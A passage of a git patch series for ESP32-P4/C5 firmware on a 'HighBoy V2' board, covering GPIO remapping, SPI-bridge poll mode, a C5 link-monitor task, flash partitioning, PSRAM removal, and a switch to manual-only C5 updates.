GPIO_BRIDGE_IRQ_PIN 3 #ifdef __cplusplus diff --git a/firmware_p4/components/Drivers/pins/include/pin_def.h b/firmware_p4/components/Drivers/pins/include/pin_def.h index 9a20610a8..4735a5c1a 100644 --- a/firmware_p4/components/Drivers/pins/include/pin_def.h +++ b/firmware_p4/components/Drivers/pins/include/pin_def.h @@ -29,68 +29,68 @@ extern "C" { #endif // SPI Bus (shared: display, radio, SD card) -#define GPIO_SPI_MOSI_PIN 11 -#define GPIO_SPI_SCLK_PIN 12 -#define GPIO_SPI_MISO_PIN 13 +#define GPIO_SPI_MOSI_PIN 22 +#define GPIO_SPI_SCLK_PIN 21 +#define GPIO_SPI_MISO_PIN 23 // CC1101 Sub-GHz Radio -#define GPIO_CC1101_CS_PIN 3 +#define GPIO_CC1101_CS_PIN 20 #define GPIO_CC1101_GDO0_PIN 8 #define GPIO_CC1101_GDO2_PIN 9 // SDMMC (4-bit SDIO) #define GPIO_SDMMC_CLK_PIN 43 #define GPIO_SDMMC_CMD_PIN 44 -#define GPIO_SDMMC_D0_PIN 39 +#define GPIO_SDMMC_D0_PIN 32 #define GPIO_SDMMC_D1_PIN 40 #define GPIO_SDMMC_D2_PIN 41 #define GPIO_SDMMC_D3_PIN 42 // ST7789 Display -#define GPIO_ST7789_CS_PIN 26 -#define GPIO_ST7789_DC_PIN 27 -#define GPIO_ST7789_RST_PIN 32 -#define GPIO_ST7789_BL_PIN 54 +#define GPIO_ST7789_CS_PIN 34 +#define GPIO_ST7789_DC_PIN 35 +#define GPIO_ST7789_RST_PIN 36 +#define GPIO_ST7789_BL_PIN 14 // Buttons -#define GPIO_BTN_LEFT_PIN 5 -#define GPIO_BTN_BACK_PIN 7 -#define GPIO_BTN_UP_PIN 15 -#define GPIO_BTN_DOWN_PIN 6 -#define GPIO_BTN_OK_PIN 4 -#define GPIO_BTN_RIGHT_PIN 16 +#define GPIO_BTN_LEFT_PIN 6 +#define GPIO_BTN_BACK_PIN 54 +#define GPIO_BTN_UP_PIN 3 +#define GPIO_BTN_DOWN_PIN 7 +#define GPIO_BTN_OK_PIN 29 +#define GPIO_BTN_RIGHT_PIN 13 // I2C Bus -#define GPIO_I2C_SDA_PIN 8 -#define GPIO_I2C_SCL_PIN 9 +#define GPIO_I2C_SDA_PIN 31 +#define GPIO_I2C_SCL_PIN 30 // RGB LED (WS2812 / SK6812) #define GPIO_LED_RGB_PIN 45 #define LED_COUNT 1 // P4-C5 Bridge SPI (Master) -#define GPIO_BRIDGE_SCLK_PIN 20 -#define GPIO_BRIDGE_MOSI_PIN 21 -#define GPIO_BRIDGE_MISO_PIN 22 -#define GPIO_BRIDGE_CS_PIN 23 -#define GPIO_BRIDGE_IRQ_PIN 2 +#define GPIO_BRIDGE_SCLK_PIN 45 +#define GPIO_BRIDGE_MOSI_PIN 46 +#define GPIO_BRIDGE_MISO_PIN 47 +#define GPIO_BRIDGE_CS_PIN 48 +#define GPIO_BRIDGE_IRQ_PIN (-1) // C5 Control & Update (UART + Boot) -#define GPIO_C5_UART_TX_PIN 46 -#define GPIO_C5_UART_RX_PIN 47 -#define GPIO_C5_RESET_PIN 48 -#define GPIO_C5_BOOT_PIN 33 +#define GPIO_C5_UART_TX_PIN 38 +#define GPIO_C5_UART_RX_PIN 39 +#define GPIO_C5_RESET_PIN (-1) +#define GPIO_C5_BOOT_PIN (-1) // SX1262 LoRa (SPI3_HOST, separate from C5 bridge) #define GPIO_LORA_SCLK_PIN 18 #define GPIO_LORA_MOSI_PIN 19 #define GPIO_LORA_MISO_PIN 14 #define GPIO_LORA_CS_PIN 26 -#define GPIO_LORA_RESET_PIN 27 -#define GPIO_LORA_BUSY_PIN 17 -#define GPIO_LORA_DIO1_PIN 54 -#define GPIO_LORA_TXEN_PIN 3 -#define GPIO_LORA_RXEN_PIN 5 +#define GPIO_LORA_RESET_PIN (-1) +#define GPIO_LORA_BUSY_PIN 4 +#define GPIO_LORA_DIO1_PIN 5 +#define GPIO_LORA_TXEN_PIN (-1) +#define GPIO_LORA_RXEN_PIN (-1) // YS-RFID2 125kHz RFID Reader (UART) // TODO: placeholder pins — definir com base no schematic do board From c8a4c3b9cc6559383a581fd66db1e535993627e2 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 17:19:48 -0300 Subject: [PATCH 082/572] chore(pins): adopt HighBoy V2 PCB GPIO map --- .../components/Drivers/pins/include/pin_def.h | 10 +-- .../components/Drivers/pins/include/pin_def.h | 62 +++++++++---------- 2 files changed, 36 insertions(+), 36 deletions(-) diff --git a/firmware_c5/components/Drivers/pins/include/pin_def.h b/firmware_c5/components/Drivers/pins/include/pin_def.h index 690022f5a..ab272ab39 100644 --- a/firmware_c5/components/Drivers/pins/include/pin_def.h +++ b/firmware_c5/components/Drivers/pins/include/pin_def.h @@ -60,14 +60,14 @@ extern "C" { #define GPIO_I2C_SCL_PIN 9 // RGB LED (WS2812 / SK6812) -#define GPIO_LED_RGB_PIN 45 +#define GPIO_LED_RGB_PIN 27 #define LED_COUNT 1 // P4-C5 Bridge SPI (Slave) -#define GPIO_BRIDGE_SCLK_PIN 6 -#define GPIO_BRIDGE_MOSI_PIN 7 -#define GPIO_BRIDGE_MISO_PIN 2 -#define GPIO_BRIDGE_CS_PIN 10 +#define GPIO_BRIDGE_SCLK_PIN 26 +#define GPIO_BRIDGE_MOSI_PIN 25 +#define GPIO_BRIDGE_MISO_PIN 24 +#define GPIO_BRIDGE_CS_PIN 23 #define GPIO_BRIDGE_IRQ_PIN 3 #ifdef __cplusplus diff --git a/firmware_p4/components/Drivers/pins/include/pin_def.h b/firmware_p4/components/Drivers/pins/include/pin_def.h index 9a20610a8..4735a5c1a 100644 --- a/firmware_p4/components/Drivers/pins/include/pin_def.h +++ b/firmware_p4/components/Drivers/pins/include/pin_def.h @@ -29,68 +29,68 @@ extern "C" { #endif // SPI Bus (shared: display, radio, SD card) -#define GPIO_SPI_MOSI_PIN 11 -#define GPIO_SPI_SCLK_PIN 12 -#define GPIO_SPI_MISO_PIN 13 +#define GPIO_SPI_MOSI_PIN 22 +#define GPIO_SPI_SCLK_PIN 21 +#define GPIO_SPI_MISO_PIN 23 // CC1101 Sub-GHz Radio -#define GPIO_CC1101_CS_PIN 3 +#define GPIO_CC1101_CS_PIN 20 #define GPIO_CC1101_GDO0_PIN 8 #define GPIO_CC1101_GDO2_PIN 9 // SDMMC (4-bit SDIO) #define GPIO_SDMMC_CLK_PIN 43 #define GPIO_SDMMC_CMD_PIN 44 -#define GPIO_SDMMC_D0_PIN 39 +#define GPIO_SDMMC_D0_PIN 32 #define GPIO_SDMMC_D1_PIN 40 #define GPIO_SDMMC_D2_PIN 41 #define GPIO_SDMMC_D3_PIN 42 // ST7789 Display -#define GPIO_ST7789_CS_PIN 26 -#define GPIO_ST7789_DC_PIN 27 -#define GPIO_ST7789_RST_PIN 32 -#define GPIO_ST7789_BL_PIN 54 +#define GPIO_ST7789_CS_PIN 34 +#define GPIO_ST7789_DC_PIN 35 +#define GPIO_ST7789_RST_PIN 36 +#define GPIO_ST7789_BL_PIN 14 // Buttons -#define GPIO_BTN_LEFT_PIN 5 -#define GPIO_BTN_BACK_PIN 7 -#define GPIO_BTN_UP_PIN 15 -#define GPIO_BTN_DOWN_PIN 6 -#define GPIO_BTN_OK_PIN 4 -#define GPIO_BTN_RIGHT_PIN 16 +#define GPIO_BTN_LEFT_PIN 6 +#define GPIO_BTN_BACK_PIN 54 +#define GPIO_BTN_UP_PIN 3 +#define GPIO_BTN_DOWN_PIN 7 +#define GPIO_BTN_OK_PIN 29 +#define GPIO_BTN_RIGHT_PIN 13 // I2C Bus -#define GPIO_I2C_SDA_PIN 8 -#define GPIO_I2C_SCL_PIN 9 +#define GPIO_I2C_SDA_PIN 31 +#define GPIO_I2C_SCL_PIN 30 // RGB LED (WS2812 / SK6812) #define GPIO_LED_RGB_PIN 45 #define LED_COUNT 1 // P4-C5 Bridge SPI (Master) -#define GPIO_BRIDGE_SCLK_PIN 20 -#define GPIO_BRIDGE_MOSI_PIN 21 -#define GPIO_BRIDGE_MISO_PIN 22 -#define GPIO_BRIDGE_CS_PIN 23 -#define GPIO_BRIDGE_IRQ_PIN 2 +#define GPIO_BRIDGE_SCLK_PIN 45 +#define GPIO_BRIDGE_MOSI_PIN 46 +#define GPIO_BRIDGE_MISO_PIN 47 +#define GPIO_BRIDGE_CS_PIN 48 +#define GPIO_BRIDGE_IRQ_PIN (-1) // C5 Control & Update (UART + Boot) -#define GPIO_C5_UART_TX_PIN 46 -#define GPIO_C5_UART_RX_PIN 47 -#define GPIO_C5_RESET_PIN 48 -#define GPIO_C5_BOOT_PIN 33 +#define GPIO_C5_UART_TX_PIN 38 +#define GPIO_C5_UART_RX_PIN 39 +#define GPIO_C5_RESET_PIN (-1) +#define GPIO_C5_BOOT_PIN (-1) // SX1262 LoRa (SPI3_HOST, separate from C5 bridge) #define GPIO_LORA_SCLK_PIN 18 #define GPIO_LORA_MOSI_PIN 19 #define GPIO_LORA_MISO_PIN 14 #define GPIO_LORA_CS_PIN 26 -#define GPIO_LORA_RESET_PIN 27 -#define GPIO_LORA_BUSY_PIN 17 -#define GPIO_LORA_DIO1_PIN 54 -#define GPIO_LORA_TXEN_PIN 3 -#define GPIO_LORA_RXEN_PIN 5 +#define GPIO_LORA_RESET_PIN (-1) +#define GPIO_LORA_BUSY_PIN 4 +#define GPIO_LORA_DIO1_PIN 5 +#define GPIO_LORA_TXEN_PIN (-1) +#define GPIO_LORA_RXEN_PIN (-1) // YS-RFID2 125kHz RFID Reader (UART) // TODO: placeholder pins — definir com base no schematic do board From 1046db6725ed5997aeabf0fccc5204814daa9eb6 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 17:27:09 -0300 Subject: [PATCH 083/572] feat(bridge): run P4<->C5 bridge in POLL mode on the V2 PCB (no IRQ trace) --- firmware_c5/components/Core/kernel.c | 5 +++-- .../components/Service/bridge_manager/bridge_manager.c | 4 +++- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/firmware_c5/components/Core/kernel.c b/firmware_c5/components/Core/kernel.c index 28fc75b5c..4c7977865 100644 --- a/firmware_c5/components/Core/kernel.c +++ b/firmware_c5/components/Core/kernel.c @@ -57,8 +57,9 @@ void kernel_init(void) { // led_rgb_init(); bq25896_init(); - spi_bridge_slave_init(); - c5_log_init(); // tee C5 logs to the P4 over SPI for the companion console + // V2 PCB has no bridge IRQ trace: run the slave in POLL mode (matches the P4). + spi_bridge_slave_init_mode(SPI_BRIDGE_MODE_POLL); + c5_log_init(); // tee C5 logs to the P4 over SPI for the companion console ota_service_start(); // UART0 receiver for P4-pushed firmware (esp_ota) sys_monitor(false); diff --git a/firmware_p4/components/Service/bridge_manager/bridge_manager.c b/firmware_p4/components/Service/bridge_manager/bridge_manager.c index 3139578a3..f35ff65ec 100644 --- a/firmware_p4/components/Service/bridge_manager/bridge_manager.c +++ b/firmware_p4/components/Service/bridge_manager/bridge_manager.c @@ -32,7 +32,9 @@ esp_err_t bridge_manager_init(void) { ESP_LOGI(TAG, "Initializing bridge manager"); ESP_LOGI(TAG, "Expected C5 version: %s", FIRMWARE_VERSION); - if (spi_bridge_master_init() != ESP_OK) { + // The HighBoy V2 PCB has no bridge IRQ trace (GPIO_BRIDGE_IRQ_PIN = -1), so + // the master polls the bus instead of waiting on an IRQ. Must match the C5. + if (spi_bridge_master_init_mode(SPI_BRIDGE_MODE_POLL) != ESP_OK) { ESP_LOGE(TAG, "Failed to init SPI bridge"); return ESP_FAIL; } From ca681e40fd50c0871643869851925392198e5147 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 17:27:09 -0300 Subject: [PATCH 084/572] feat(bridge): run P4<->C5 bridge in POLL mode on the V2 PCB (no IRQ trace) --- firmware_c5/components/Core/kernel.c | 5 +++-- .../components/Service/bridge_manager/bridge_manager.c | 4 +++- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/firmware_c5/components/Core/kernel.c b/firmware_c5/components/Core/kernel.c index 28fc75b5c..4c7977865 100644 --- a/firmware_c5/components/Core/kernel.c +++ b/firmware_c5/components/Core/kernel.c @@ -57,8 +57,9 @@ void kernel_init(void) { // led_rgb_init(); bq25896_init(); - spi_bridge_slave_init(); - c5_log_init(); // tee C5 logs to the P4 over SPI for the companion console + // V2 PCB has no bridge IRQ trace: run the slave in POLL mode (matches the P4). + spi_bridge_slave_init_mode(SPI_BRIDGE_MODE_POLL); + c5_log_init(); // tee C5 logs to the P4 over SPI for the companion console ota_service_start(); // UART0 receiver for P4-pushed firmware (esp_ota) sys_monitor(false); diff --git a/firmware_p4/components/Service/bridge_manager/bridge_manager.c b/firmware_p4/components/Service/bridge_manager/bridge_manager.c index 3139578a3..f35ff65ec 100644 --- a/firmware_p4/components/Service/bridge_manager/bridge_manager.c +++ b/firmware_p4/components/Service/bridge_manager/bridge_manager.c @@ -32,7 +32,9 @@ esp_err_t bridge_manager_init(void) { ESP_LOGI(TAG, "Initializing bridge manager"); ESP_LOGI(TAG, "Expected C5 version: %s", FIRMWARE_VERSION); - if (spi_bridge_master_init() != ESP_OK) { + // The HighBoy V2 PCB has no bridge IRQ trace (GPIO_BRIDGE_IRQ_PIN = -1), so + // the master polls the bus instead of waiting on an IRQ. Must match the C5. + if (spi_bridge_master_init_mode(SPI_BRIDGE_MODE_POLL) != ESP_OK) { ESP_LOGE(TAG, "Failed to init SPI bridge"); return ESP_FAIL; } From bc4e8a3cf267dadf79222313846986c655114440 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 17:40:00 -0300 Subject: [PATCH 085/572] feat(bridge): background link monitor to re-detect a late or rebooted C5 --- .../Service/bridge_manager/bridge_manager.c | 38 +++++++++++++++++++ .../Service/spi_bridge/include/spi_bridge.h | 8 ++++ .../Service/spi_bridge/spi_bridge.c | 4 ++ 3 files changed, 50 insertions(+) diff --git a/firmware_p4/components/Service/bridge_manager/bridge_manager.c b/firmware_p4/components/Service/bridge_manager/bridge_manager.c index f35ff65ec..88ba96244 100644 --- a/firmware_p4/components/Service/bridge_manager/bridge_manager.c +++ b/firmware_p4/components/Service/bridge_manager/bridge_manager.c @@ -18,6 +18,8 @@ #include #include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" #include "c5_flasher.h" #include "ota_version.h" @@ -28,6 +30,37 @@ static const char *TAG = "BRIDGE_MGR"; #define VERSION_BUF_SIZE 32 #define VERSION_TIMEOUT_MS 1000 +// Link monitor: how often to re-probe the C5 while the bridge is marked dead, +// and the per-probe timeout. Lets the P4 pick up a C5 that booted late (or +// rebooted, e.g. after an OTA) instead of latching "no C5" forever. +#define C5_MONITOR_PERIOD_MS 1500 +#define C5_PROBE_TIMEOUT_MS 500 + +// Background task: while the bridge is dead, keep probing; revive it the moment +// the C5 answers. Idle (no bus traffic) once the link is up, so it never +// competes with real commands. +static void c5_link_monitor(void *arg) { + (void)arg; + spi_header_t hdr; + uint8_t ver[VERSION_BUF_SIZE]; + for (;;) { + vTaskDelay(pdMS_TO_TICKS(C5_MONITOR_PERIOD_MS)); + if (spi_bridge_is_alive()) { + continue; // link already up - don't poke the bus + } + // Optimistically allow one probe (nothing else touches the bus while dead). + spi_bridge_set_alive(true); + memset(ver, 0, sizeof(ver)); + esp_err_t r = + spi_bridge_send_command(SPI_ID_SYSTEM_VERSION, NULL, 0, &hdr, ver, C5_PROBE_TIMEOUT_MS); + if (r == ESP_OK) { + ESP_LOGI(TAG, "C5 link established (detected after boot), version: %s", ver); + } else { + spi_bridge_set_alive(false); // still absent - stay dead, try again later + } + } +} + esp_err_t bridge_manager_init(void) { ESP_LOGI(TAG, "Initializing bridge manager"); ESP_LOGI(TAG, "Expected C5 version: %s", FIRMWARE_VERSION); @@ -39,6 +72,11 @@ esp_err_t bridge_manager_init(void) { return ESP_FAIL; } + // Background link monitor: idles while the bridge is alive, and re-detects the + // C5 whenever it appears if the boot-time check marks the bridge dead (late + // C5 boot, or a C5 reboot after an OTA). Started once here. + xTaskCreate(c5_link_monitor, "c5_link_mon", 3072, NULL, 4, NULL); + spi_header_t resp_header; uint8_t resp_ver[VERSION_BUF_SIZE]; memset(resp_ver, 0, sizeof(resp_ver)); diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h b/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h index 9282f35a5..32cabe5b2 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h @@ -79,6 +79,14 @@ uint32_t spi_bridge_get_timeout(spi_id_t id); */ void spi_bridge_set_alive(bool alive); +/** + * @brief Whether the bridge is currently marked alive. + * + * @return true if send_command will attempt transmission, false if it + * short-circuits (C5 not detected yet). Used by the link monitor. + */ +bool spi_bridge_is_alive(void); + /** * @brief Send a command to the SPI slave and receive the response. * diff --git a/firmware_p4/components/Service/spi_bridge/spi_bridge.c b/firmware_p4/components/Service/spi_bridge/spi_bridge.c index 0b68d05c0..7e0fdb147 100644 --- a/firmware_p4/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_p4/components/Service/spi_bridge/spi_bridge.c @@ -193,6 +193,10 @@ void spi_bridge_set_alive(bool alive) { s_bridge_alive = alive; } +bool spi_bridge_is_alive(void) { + return s_bridge_alive; +} + uint32_t spi_bridge_get_timeout(spi_id_t id) { if (id >= SPI_ID_WIFI_SCAN && id <= SPI_ID_WIFI_APP_PROBE_MON) { return SPI_TIMEOUT_WIFI_MS; From 9137b30c09e76a25ccfbb1dfb64fa08461b0e5c9 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 17:40:00 -0300 Subject: [PATCH 086/572] feat(bridge): background link monitor to re-detect a late or rebooted C5 --- .../Service/bridge_manager/bridge_manager.c | 38 +++++++++++++++++++ .../Service/spi_bridge/include/spi_bridge.h | 8 ++++ .../Service/spi_bridge/spi_bridge.c | 4 ++ 3 files changed, 50 insertions(+) diff --git a/firmware_p4/components/Service/bridge_manager/bridge_manager.c b/firmware_p4/components/Service/bridge_manager/bridge_manager.c index f35ff65ec..88ba96244 100644 --- a/firmware_p4/components/Service/bridge_manager/bridge_manager.c +++ b/firmware_p4/components/Service/bridge_manager/bridge_manager.c @@ -18,6 +18,8 @@ #include #include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" #include "c5_flasher.h" #include "ota_version.h" @@ -28,6 +30,37 @@ static const char *TAG = "BRIDGE_MGR"; #define VERSION_BUF_SIZE 32 #define VERSION_TIMEOUT_MS 1000 +// Link monitor: how often to re-probe the C5 while the bridge is marked dead, +// and the per-probe timeout. Lets the P4 pick up a C5 that booted late (or +// rebooted, e.g. after an OTA) instead of latching "no C5" forever. +#define C5_MONITOR_PERIOD_MS 1500 +#define C5_PROBE_TIMEOUT_MS 500 + +// Background task: while the bridge is dead, keep probing; revive it the moment +// the C5 answers. Idle (no bus traffic) once the link is up, so it never +// competes with real commands. +static void c5_link_monitor(void *arg) { + (void)arg; + spi_header_t hdr; + uint8_t ver[VERSION_BUF_SIZE]; + for (;;) { + vTaskDelay(pdMS_TO_TICKS(C5_MONITOR_PERIOD_MS)); + if (spi_bridge_is_alive()) { + continue; // link already up - don't poke the bus + } + // Optimistically allow one probe (nothing else touches the bus while dead). + spi_bridge_set_alive(true); + memset(ver, 0, sizeof(ver)); + esp_err_t r = + spi_bridge_send_command(SPI_ID_SYSTEM_VERSION, NULL, 0, &hdr, ver, C5_PROBE_TIMEOUT_MS); + if (r == ESP_OK) { + ESP_LOGI(TAG, "C5 link established (detected after boot), version: %s", ver); + } else { + spi_bridge_set_alive(false); // still absent - stay dead, try again later + } + } +} + esp_err_t bridge_manager_init(void) { ESP_LOGI(TAG, "Initializing bridge manager"); ESP_LOGI(TAG, "Expected C5 version: %s", FIRMWARE_VERSION); @@ -39,6 +72,11 @@ esp_err_t bridge_manager_init(void) { return ESP_FAIL; } + // Background link monitor: idles while the bridge is alive, and re-detects the + // C5 whenever it appears if the boot-time check marks the bridge dead (late + // C5 boot, or a C5 reboot after an OTA). Started once here. + xTaskCreate(c5_link_monitor, "c5_link_mon", 3072, NULL, 4, NULL); + spi_header_t resp_header; uint8_t resp_ver[VERSION_BUF_SIZE]; memset(resp_ver, 0, sizeof(resp_ver)); diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h b/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h index 9282f35a5..32cabe5b2 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h @@ -79,6 +79,14 @@ uint32_t spi_bridge_get_timeout(spi_id_t id); */ void spi_bridge_set_alive(bool alive); +/** + * @brief Whether the bridge is currently marked alive. + * + * @return true if send_command will attempt transmission, false if it + * short-circuits (C5 not detected yet). Used by the link monitor. + */ +bool spi_bridge_is_alive(void); + /** * @brief Send a command to the SPI slave and receive the response. * diff --git a/firmware_p4/components/Service/spi_bridge/spi_bridge.c b/firmware_p4/components/Service/spi_bridge/spi_bridge.c index 0b68d05c0..7e0fdb147 100644 --- a/firmware_p4/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_p4/components/Service/spi_bridge/spi_bridge.c @@ -193,6 +193,10 @@ void spi_bridge_set_alive(bool alive) { s_bridge_alive = alive; } +bool spi_bridge_is_alive(void) { + return s_bridge_alive; +} + uint32_t spi_bridge_get_timeout(spi_id_t id) { if (id >= SPI_ID_WIFI_SCAN && id <= SPI_ID_WIFI_APP_PROBE_MON) { return SPI_TIMEOUT_WIFI_MS; From 8365a16702117994c24c02229a7bc0b3cd5821f8 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 18:14:30 -0300 Subject: [PATCH 087/572] build(p4): 8MB flash layout for V2 PCB (ota_0 + ota_1 + assets, no storage) --- firmware_p4/partitions.csv | 11 +++++------ firmware_p4/sdkconfig.defaults | 4 ++-- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/firmware_p4/partitions.csv b/firmware_p4/partitions.csv index 25a5530b1..fa0129232 100644 --- a/firmware_p4/partitions.csv +++ b/firmware_p4/partitions.csv @@ -1,8 +1,7 @@ # Name, Type, SubType, Offset, Size, Flags nvs, data, nvs, 0x9000, 24K, -otadata, data, ota, , 8K, -phy_init, data, phy, , 4K, -ota_0, app, ota_0, 0x20000, 4M, -ota_1, app, ota_1, , 4M, -storage, data, fat, , 6M, -assets, data, littlefs, , 16M, +otadata, data, ota, 0xf000, 8K, +phy_init, data, phy, 0x11000, 4K, +ota_0, app, ota_0, 0x20000, 3M, +ota_1, app, ota_1, 0x320000, 3M, +assets, data, littlefs, 0x620000, 1920K, diff --git a/firmware_p4/sdkconfig.defaults b/firmware_p4/sdkconfig.defaults index 2d2c407c1..6f3fdaf76 100644 --- a/firmware_p4/sdkconfig.defaults +++ b/firmware_p4/sdkconfig.defaults @@ -1,5 +1,5 @@ -# Flash — 32MB, 80MHz, DIO -CONFIG_ESPTOOLPY_FLASHSIZE_32MB=y +# Flash — 8MB (HighBoy V2 PCB), 80MHz, DIO +CONFIG_ESPTOOLPY_FLASHSIZE_8MB=y CONFIG_ESPTOOLPY_FLASHFREQ_80M=y CONFIG_ESPTOOLPY_FLASHMODE_DIO=y From 0790acdb472db2834202f2a6f8da372521fa35dc Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 18:50:41 -0300 Subject: [PATCH 088/572] build: disable PSRAM on P4 and C5 (V2 PCB has none, matches InkTest) --- firmware_c5/sdkconfig.defaults | 9 ++------- firmware_p4/sdkconfig.defaults | 9 ++------- 2 files changed, 4 insertions(+), 14 deletions(-) diff --git a/firmware_c5/sdkconfig.defaults b/firmware_c5/sdkconfig.defaults index 13bddcc9a..251f8e950 100644 --- a/firmware_c5/sdkconfig.defaults +++ b/firmware_c5/sdkconfig.defaults @@ -15,13 +15,8 @@ CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240=y CONFIG_FREERTOS_UNICORE=y CONFIG_ESP_SYSTEM_SINGLE_CORE_MODE=y -# PSRAM quad, 40MHz -CONFIG_SPIRAM=y -CONFIG_SPIRAM_MODE_QUAD=y -CONFIG_SPIRAM_SPEED_40M=y -CONFIG_SPIRAM_USE_MALLOC=y -CONFIG_SPIRAM_MALLOC_ALWAYSINTERNAL=16384 -CONFIG_SPIRAM_MALLOC_RESERVE_INTERNAL=32768 +# No PSRAM on the HighBoy V2 PCB (matches InkTest). +# CONFIG_SPIRAM is not set # Larger stack for kernel_init CONFIG_ESP_MAIN_TASK_STACK_SIZE=8192 diff --git a/firmware_p4/sdkconfig.defaults b/firmware_p4/sdkconfig.defaults index 6f3fdaf76..76564685c 100644 --- a/firmware_p4/sdkconfig.defaults +++ b/firmware_p4/sdkconfig.defaults @@ -18,13 +18,8 @@ CONFIG_ESP32P4_REV_MIN_100=y # CPU 360MHz (P4 maximum) CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_360=y -# PSRAM hex-octal mode, 200MHz — P4 specific -CONFIG_SPIRAM=y -CONFIG_SPIRAM_MODE_HEX=y -CONFIG_SPIRAM_SPEED_200M=y -CONFIG_SPIRAM_USE_MALLOC=y -CONFIG_SPIRAM_MALLOC_ALWAYSINTERNAL=16384 -CONFIG_SPIRAM_MALLOC_RESERVE_INTERNAL=32768 +# No PSRAM on the HighBoy V2 PCB (matches InkTest). +# CONFIG_SPIRAM is not set # Larger stack for kernel_init CONFIG_ESP_MAIN_TASK_STACK_SIZE=8192 From fe5bf2ab2c1b5250d72e9c069ff539c86fee42f9 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 20:02:24 -0300 Subject: [PATCH 089/572] fix(bridge): detect C5 only, never auto-flash (update stays manual via 'c5 ota') --- .../Service/bridge_manager/bridge_manager.c | 40 ++++--------------- 1 file changed, 8 insertions(+), 32 deletions(-) diff --git a/firmware_p4/components/Service/bridge_manager/bridge_manager.c b/firmware_p4/components/Service/bridge_manager/bridge_manager.c index 88ba96244..d6b48fcb1 100644 --- a/firmware_p4/components/Service/bridge_manager/bridge_manager.c +++ b/firmware_p4/components/Service/bridge_manager/bridge_manager.c @@ -85,43 +85,19 @@ esp_err_t bridge_manager_init(void) { esp_err_t ret = spi_bridge_send_command( SPI_ID_SYSTEM_VERSION, NULL, 0, &resp_header, resp_ver, VERSION_TIMEOUT_MS); - bool is_update_needed = false; - - if (ret != ESP_OK) { - ESP_LOGW(TAG, "C5 not responding, assuming recovery needed"); - is_update_needed = true; - } else { - ESP_LOGI(TAG, "C5 version: %s (expected: %s)", resp_ver, FIRMWARE_VERSION); - if (strcmp((char *)resp_ver, FIRMWARE_VERSION) != 0) { - is_update_needed = true; - } - } - - if (is_update_needed) { - ESP_LOGW(TAG, "C5 update required"); - c5_flasher_init(); - if (c5_flasher_update(NULL, 0) == ESP_OK) { - ESP_LOGI(TAG, "C5 firmware uploaded"); - } else { - ESP_LOGE(TAG, "C5 synchronization failed"); - spi_bridge_set_alive(false); - return ESP_FAIL; - } - } else { - ESP_LOGI(TAG, "C5 is up to date"); - } - - // Final probe: confirm the SPI bridge is actually responding before - // letting background tasks poll it - memset(resp_ver, 0, sizeof(resp_ver)); - ret = spi_bridge_send_command( - SPI_ID_SYSTEM_VERSION, NULL, 0, &resp_header, resp_ver, VERSION_TIMEOUT_MS); + // Detection only - never flash automatically. If the C5 is silent or on a + // different version, just report it; the user updates explicitly with the + // 'c5' console command. The link monitor keeps re-probing while it is down. if (ret != ESP_OK) { - ESP_LOGW(TAG, "C5 SPI bridge not responding — disabling bridge polling"); + ESP_LOGW(TAG, "C5 not responding - bridge marked down (run 'c5 ota' to flash the C5)"); spi_bridge_set_alive(false); return ESP_OK; } + ESP_LOGI(TAG, "C5 version: %s (expected: %s)", resp_ver, FIRMWARE_VERSION); + if (strcmp((char *)resp_ver, FIRMWARE_VERSION) != 0) { + ESP_LOGW(TAG, "C5 version differs - update available (run 'c5 ota' to apply)"); + } ESP_LOGI(TAG, "C5 bridge alive"); return ESP_OK; } From 550c82a027aefc0c0c41f35d7f7f738ee3eb17b2 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 20:10:58 -0300 Subject: [PATCH 090/572] fix(kernel): disable dangling lv_port_indev_init (headless V2 bring-up) --- firmware_p4/components/Core/kernel.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/firmware_p4/components/Core/kernel.c b/firmware_p4/components/Core/kernel.c index 8166c34bb..688afff94 100644 --- a/firmware_p4/components/Core/kernel.c +++ b/firmware_p4/components/Core/kernel.c @@ -91,12 +91,14 @@ void kernel_init(void) { buttons_init(); ys_rfid2_init(NULL); - // 6. Display + LVGL + UI - st7789_init(); - lv_init(); - lv_port_disp_init(); - lv_port_indev_init(); - ui_init(); + // 6. Display + LVGL + UI - disabled for the headless V2 bring-up (no ST7789/ + // LVGL). Re-enable all of these together (lv_init must run before any other + // lv_* call, or lv_malloc dereferences a NULL heap and panics). + // st7789_init(); + // lv_init(); + // lv_port_disp_init(); + // lv_port_indev_init(); + // ui_init(); // 7. Services sys_monitor_start(false); From dac16c47a397620a9cf1145fa615628982c9634f Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 20:18:19 -0300 Subject: [PATCH 091/572] fix(bridge): enlarge c5_link_monitor stack to 6KB (send_command + vfprintf overflowed 3KB) --- 